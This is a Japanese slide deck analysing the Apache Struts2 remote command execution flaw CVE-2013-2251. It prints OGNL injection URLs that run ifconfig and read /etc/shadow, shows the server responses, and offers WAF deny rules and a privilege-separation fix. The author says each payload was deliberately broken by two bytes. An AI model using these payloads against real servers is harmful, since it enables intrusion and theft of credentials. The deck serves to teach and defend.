SlideShare ist ein Scribd-Unternehmen logo
1 von 24
CVE-2013-2251
ー strutsと愉快な脆弱性達 続編 ー
※本稿の内容を管理下ではない環境に対して
実施しないでください。
自己紹介
Twitter: abend
Webセキュリティをメインでやってます。
CVE-2013-2251
2013年7月16日に公開されたApache Struts2系に存在
するリモートの攻撃者によりOSコマンドが実行可能
な脆弱性。2.3.15.1で改修されています。
Apache Software Foundation
http://struts.apache.org/release/2.3.x/docs/s2-016.html
LAC
http://www.lac.co.jp/security/alert/2013/07/18_alert_01.h
tml
本脆弱性を悪用する攻撃が増えているそうです。
なんでこうなる?
DefaultActionMapperが根本原因。 これはボタンなどに
付加する文字列(以下)から実行される動作を定義し
ていたが、入力値のチェックがなく、そのまま実行さ
れていたため、想定動作以外も実行可能。
<2.3.15まで定義されていた文字列>
・method:
・ action:
・ redirect:
・ redirectAction:
今回の犯罪者
→ 無罪
なんでこうなる?
2.3.15と2.3.15.1のソースをdiffってみたら、こんな結果
「action:」は、正規表現で[a-zA-Z0-9._!/-]*以外の文字
は除去されるように修正されたようです。
「redirect:」や「redirectAction:」は、DefaultActionMap
per から削除されています。極刑に処されたようです。
無罪なので「method:」は変更ないようです。
どうやる?
Apache Software FoundationからPoC(Proof of Concept)
が公開されています。
http://struts.apache.org/release/2.3.x/docs/s2-016.html
発見者は、三井物産セキュアディレクションの
TakeshiTeradaさんだそうです。
どうやる?2
公開されたPoCは以下となっています。環境に
あわせてURLを一部変更しています。
① http://host/example/HelloWorld.action?action:%25{3*4}
⑤ http://host/example/HelloWorld.action?redirectAction:%25{(new+java.lang.ProcessBuilder
(new+java.lang.String[]{‘ifconfig'})).start()}
→12.jspへアクセスを試みる。そんなファイル存在しないので404エラー。
② http://host/example/HelloWorld.action?redirect:%25{3*4}
③ http://host/example/HelloWorld.action?action:%25{(new+java.lang.ProcessBuilder(new+jav
a.lang.String[]{‘ifconfig'})).start()}
④ http://host/example/HelloWorld.action?redirect:%25{(new+java.lang.ProcessBuilder(new+j
ava.lang.String[]{‘ifconfig'})).start()}
→リダイレクトされ、/example/12へアクセスを試みるが、そんなファイル存在
しないので404エラー。
→java.lang.UNIXProcess@xxxxxxx.jspへアクセスを試みるが、そんなファイル存在
しないので404エラー。
どうやる?2
http://host//example/HelloWorld.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[] {'if
config'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader (#b),#d=new java.io.BufferedRe
ader(#c),#e=new char[50000],#d.read(),#f= #context.get('com.opensymphony.xwork2.dispatcher.HttpServlet
Response'),#f.getWriter().println (#e),#f.getWriter().flush(),#f.getWriter().close()}
「なんだ、うまくいかないじゃん」という結論は時
期尚早です。
※GETパラメータの値はコピペしても動作しないように、
内容の理解に問題のない個所を2byte変更しています。
以下、GETでアクセス
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Transfer-Encoding: chunked
Date:Wed, 24 Jul 2013 22:35:12GMT
c351
eth0 Link encap:Ethernet HWaddr xx:xx:xx:xx:xx:xx
inet addr:xxx.xxx.xxx.xxx Bcast:xxx.xxx.xxx.xxx Mask:255.255.255.0
レスポンス(抜粋)
↓NIC情報が出力された。
さっきのなんだったの?
PoCの③、④、⑤は実行させるJavaが不完全だった。
動作させるために複数のコードを追加されていま
す。「,」(カンマ)で複数のコードを追加可能。
###Used by the DefaultActionMapper
### You may provide a comma separated list, e.g. struts.action.extension=action,jnlp,do
###The blank extension allows you to match directory listings as well as pure action names
### without interfering with static resources, which can be specified as an empty string
### prior to a comma e.g. struts.action.extension=, or struts.action.extension=x,y,z,,
「,」(カンマ)で複数のコードが認識され、実行に
至ったのではないかと推測されます。
色々と調べてみたら、default.propertiesに以下のよう
な記述がありました。
さっきのなんだったの?2
01 http://host//example/HelloWorld.action?redirect:${
02 #a=(new java.lang.ProcessBuilder(new java.lang.String[] {'ifconfig'})).start()
03 ,#b=#a.getInputStream()
04 ,#c=new java.io.InputStreamReader (#b)
05 ,#d=new java.io.BufferedReader(#c)
06 ,#e=new char[50000]
07 ,#d.read()
08 ,#f= #context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')
09 ,#f.getWriter().println (#e)
10 ,#f.getWriter().flush()
11 ,#f.getWriter().close()
12 }
※GETのパラメータ値はコピペしても動作しないように、
内容の理解に問題のない個所を2byte変更しています。
※見やすくするため、改行を入れてます。
02で実行させたいコマンドを指定し、それ以降でコ
マンドの実行結果が出力されます。
ココ
じゃあ、どうする?
対策は、最新バージョンである2.3.15.1(2013年
7月26日時点)に更新する。
ぐだぐだ言ってないで、最新バージョン更新しろ。
そもそも、なんでできない?
なんでできない?
tomcat
/shopping
商品購入機能
Struts 2.1.8.1
例でショッピングサイトのツギハギ更新を考えてみる。
/mypage
マイページ機能
Struts 2.2.1.1
機能追加
機能追加
/askme
問い合わせ機能
Struts 2.3.14.3
/manager
管理用機能
Struts 2.3.15
機能追加
常にstrutsの更新を行わないと、機能単位で異なるバー
ジョン状況を生んでしまう。
なんでできない?2
1つのtomcatで複数のバージョンのstrutsを実装可能。
機能を追加するたびに、最新バージョンで作ってい
たら、機能ごとで異なるバージョンになってしま
う。
バージョン管理なんてやりたくない。
どの機能で更新による不整合が発生するか把握しづ
らくなり、更新なんて余計やりたくない。
※あくまで仮説です。
なんとか、なんないの?
どうすることもできないのか?
WAFる
WAFら(ない)
WAFり(ます)
WAFる(こと)
WAFれ(ば)
アップデートできないなら、WAFれ!!
前回同様・・・
なんとか、なんないの?2
WAFでリクエストに「action:」、「redirect:」、「re
directAction:」が含まれていたらブロックする。
「Action:」、「aCtion:」や「RedirectAction:」など
を試してみたが、脆弱性が発現されなかったので上
記のパターンでいいのではないか。
じゃあ、どうブロックする?
SecRule ARGS_NAMES "action:" "phase:2,t:none,auditlog,deny,id:'999998'“
SecRule ARGS_NAMES "redirect:" "phase:2,t:none,auditlog,deny,id:'999997'"
SecRule ARGS_NAMES "redirectAction:" "phase:2,t:none,auditlog,deny,id:'999996'"
なんとか、なんないの?2
GETやPOSTでもブロックできていたので、効果は
ありそうです。
http://host/file.action?a=a&action:・・・というよう
に適当なパラメータを挿入されたり、POSTの場合、
マッチしないので。
ちなみに、REQUEST_URIで「 ?action: 」をブロック
というのはダメです。
なんとか、なんないの?3
パラメータ名に「action:」、「redirect:」、「redirec
tAction:」が使われる可能性は低いと思うので、そ
れなりにイケてるのでは。
ただ、保証するものではないので自己責任でやって
ください。
ほかにも1
NTTデータ先端技術から検証結果とともに、対策
案で「管理者権限での動作」に関して言及されて
いる。
http://security.intellilink.co.jp/article/vulner/130723.html
That’s right!!
Strutsだけでなく、Tomcatに脆弱性が存在してい
た場合、影響度は高くなるので、権限は分離すべ
き。(そもそも)
ほかにも2
どうやって権限を分離するのか。
・tomcatユーザ作って
・CATALINA_HOMEの権限をtomcatユーザにして
・tomcatユーザとしてTomcatを起動する。
これだけにも関わらず、やっていない環境が数多
く存在します。
ほかにも3
①権限分離なしの場合
http://host//example/HelloWorld.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[] {’c
at’,’/etc/shadow’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader (#b),#d=new java.io.B
ufferedReader(#c),#e=new char[50000],#d.read(),#f= #context.get('com.opensymphony.xwork2.dispatcher.H
ttpServletResponse'),#f.getWriter().println (#e),#f.getWriter().flush(),#f.getWriter().close()}
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Date: Sat, 27 Jul 2013 05:16:54 GMT
Content-Length: 50001
root:*******************.:xxx:0:99999:7:::
bin:*:xxx:0:99999:7:::
daemon:*:xxx:99999:7:::
/etc/shadowを出力するようにすると・・・
モザイクなしの18禁ばりに見えてる。
レスポンス(抜粋)
※GETパラメータの値はコピペしても動作しないように、
内容の理解に問題のない個所を2byte変更しています。
ほかにも4
②権限分離ありの場合
http://host//example/HelloWorld.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.la
ng.String[] {’cat’,’/etc/shadow’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamRe
ader (#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(),#f= #context.get('
com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#f.getWriter().println (#e),#f.get
Writer().flush(),#f.getWriter().close()}
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Date: Sat, 27 Jul 2013 05:31:40 GMT
Content-Length: 50001
同様に/etc/shadowを出力するようにすると・・・
アカウント情報が出力されなくなった。
レスポンス(抜粋)
※GETパラメータの値はコピペしても動作しないように、
内容の理解に問題のない個所を2byte変更しています。
ほかにも5
権限の分離で「/etc/shadow」の閲覧は、できな
くなったが、tomcatユーザ権限の範囲での悪用
は可能。「ifconfig」は権限分離後も悪用可能。
権限分離も影響度を少なくするための軽減措置で
しかなく、この脆弱性の解決策ではありません。
結論(まとめ1)
Strutsの脆弱性って激しいよね。
WAFとか権限分離しても根本解決じゃないよね。
アップデート以外、根本解決ってないの?
結論(まとめ2)
いや、実はあるんです。
Strutsを使うな。

Weitere ähnliche Inhalte

Mehr von abend_cve_9999_0001

Bypassing Windows Security Functions(en)
Bypassing Windows Security Functions(en)Bypassing Windows Security Functions(en)
Bypassing Windows Security Functions(en)abend_cve_9999_0001
 
Burp Suite Japanユーザグループ紹介
Burp Suite Japanユーザグループ紹介Burp Suite Japanユーザグループ紹介
Burp Suite Japanユーザグループ紹介abend_cve_9999_0001
 
バックアップファイルの管理
バックアップファイルの管理バックアップファイルの管理
バックアップファイルの管理abend_cve_9999_0001
 
標的型攻撃からどのように身を守るのか
標的型攻撃からどのように身を守るのか標的型攻撃からどのように身を守るのか
標的型攻撃からどのように身を守るのかabend_cve_9999_0001
 
Nmap 9 truth "Nothing to say any more"
Nmap 9 truth "Nothing to say  any more"Nmap 9 truth "Nothing to say  any more"
Nmap 9 truth "Nothing to say any more"abend_cve_9999_0001
 
The vulnerabilities never bothered me anyway
The vulnerabilities never bothered me anywayThe vulnerabilities never bothered me anyway
The vulnerabilities never bothered me anywayabend_cve_9999_0001
 
フリーでできるセキュリティチェック OpenVAS CLI編
フリーでできるセキュリティチェック OpenVAS CLI編フリーでできるセキュリティチェック OpenVAS CLI編
フリーでできるセキュリティチェック OpenVAS CLI編abend_cve_9999_0001
 
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したらもしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したらabend_cve_9999_0001
 
フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)abend_cve_9999_0001
 
Burp番外編~バープ、チョトニホンゴデキル~
Burp番外編~バープ、チョトニホンゴデキル~Burp番外編~バープ、チョトニホンゴデキル~
Burp番外編~バープ、チョトニホンゴデキル~abend_cve_9999_0001
 
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)abend_cve_9999_0001
 
ハニーポットで見る攻撃手法(特に結論はありません)
ハニーポットで見る攻撃手法(特に結論はありません)ハニーポットで見る攻撃手法(特に結論はありません)
ハニーポットで見る攻撃手法(特に結論はありません)abend_cve_9999_0001
 
フリーでできるセキュリティ インフラ(Nessus)編
フリーでできるセキュリティ インフラ(Nessus)編フリーでできるセキュリティ インフラ(Nessus)編
フリーでできるセキュリティ インフラ(Nessus)編abend_cve_9999_0001
 
診断ツールを作ってみようと思う
診断ツールを作ってみようと思う診断ツールを作ってみようと思う
診断ツールを作ってみようと思うabend_cve_9999_0001
 

Mehr von abend_cve_9999_0001 (20)

Bypassing Windows Security Functions(en)
Bypassing Windows Security Functions(en)Bypassing Windows Security Functions(en)
Bypassing Windows Security Functions(en)
 
Burp Suite Japanユーザグループ紹介
Burp Suite Japanユーザグループ紹介Burp Suite Japanユーザグループ紹介
Burp Suite Japanユーザグループ紹介
 
バックアップファイルの管理
バックアップファイルの管理バックアップファイルの管理
バックアップファイルの管理
 
標的型攻撃からどのように身を守るのか
標的型攻撃からどのように身を守るのか標的型攻撃からどのように身を守るのか
標的型攻撃からどのように身を守るのか
 
Your hash is.
Your hash is.Your hash is.
Your hash is.
 
Nmapの真実(続)
Nmapの真実(続)Nmapの真実(続)
Nmapの真実(続)
 
Nmap 9 truth "Nothing to say any more"
Nmap 9 truth "Nothing to say  any more"Nmap 9 truth "Nothing to say  any more"
Nmap 9 truth "Nothing to say any more"
 
Nmap 9つの真実
Nmap 9つの真実Nmap 9つの真実
Nmap 9つの真実
 
Nmapの真実
Nmapの真実Nmapの真実
Nmapの真実
 
Burpで指定文字列を検索
Burpで指定文字列を検索Burpで指定文字列を検索
Burpで指定文字列を検索
 
The vulnerabilities never bothered me anyway
The vulnerabilities never bothered me anywayThe vulnerabilities never bothered me anyway
The vulnerabilities never bothered me anyway
 
フリーでできるセキュリティチェック OpenVAS CLI編
フリーでできるセキュリティチェック OpenVAS CLI編フリーでできるセキュリティチェック OpenVAS CLI編
フリーでできるセキュリティチェック OpenVAS CLI編
 
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したらもしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
 
フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)
 
Burp番外編~バープ、チョトニホンゴデキル~
Burp番外編~バープ、チョトニホンゴデキル~Burp番外編~バープ、チョトニホンゴデキル~
Burp番外編~バープ、チョトニホンゴデキル~
 
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
 
ハニーポットで見る攻撃手法(特に結論はありません)
ハニーポットで見る攻撃手法(特に結論はありません)ハニーポットで見る攻撃手法(特に結論はありません)
ハニーポットで見る攻撃手法(特に結論はありません)
 
フリーでできるセキュリティ インフラ(Nessus)編
フリーでできるセキュリティ インフラ(Nessus)編フリーでできるセキュリティ インフラ(Nessus)編
フリーでできるセキュリティ インフラ(Nessus)編
 
診断ツールを作ってみようと思う
診断ツールを作ってみようと思う診断ツールを作ってみようと思う
診断ツールを作ってみようと思う
 
クリックジャッキング
クリックジャッキングクリックジャッキング
クリックジャッキング
 

Cve 2013-2251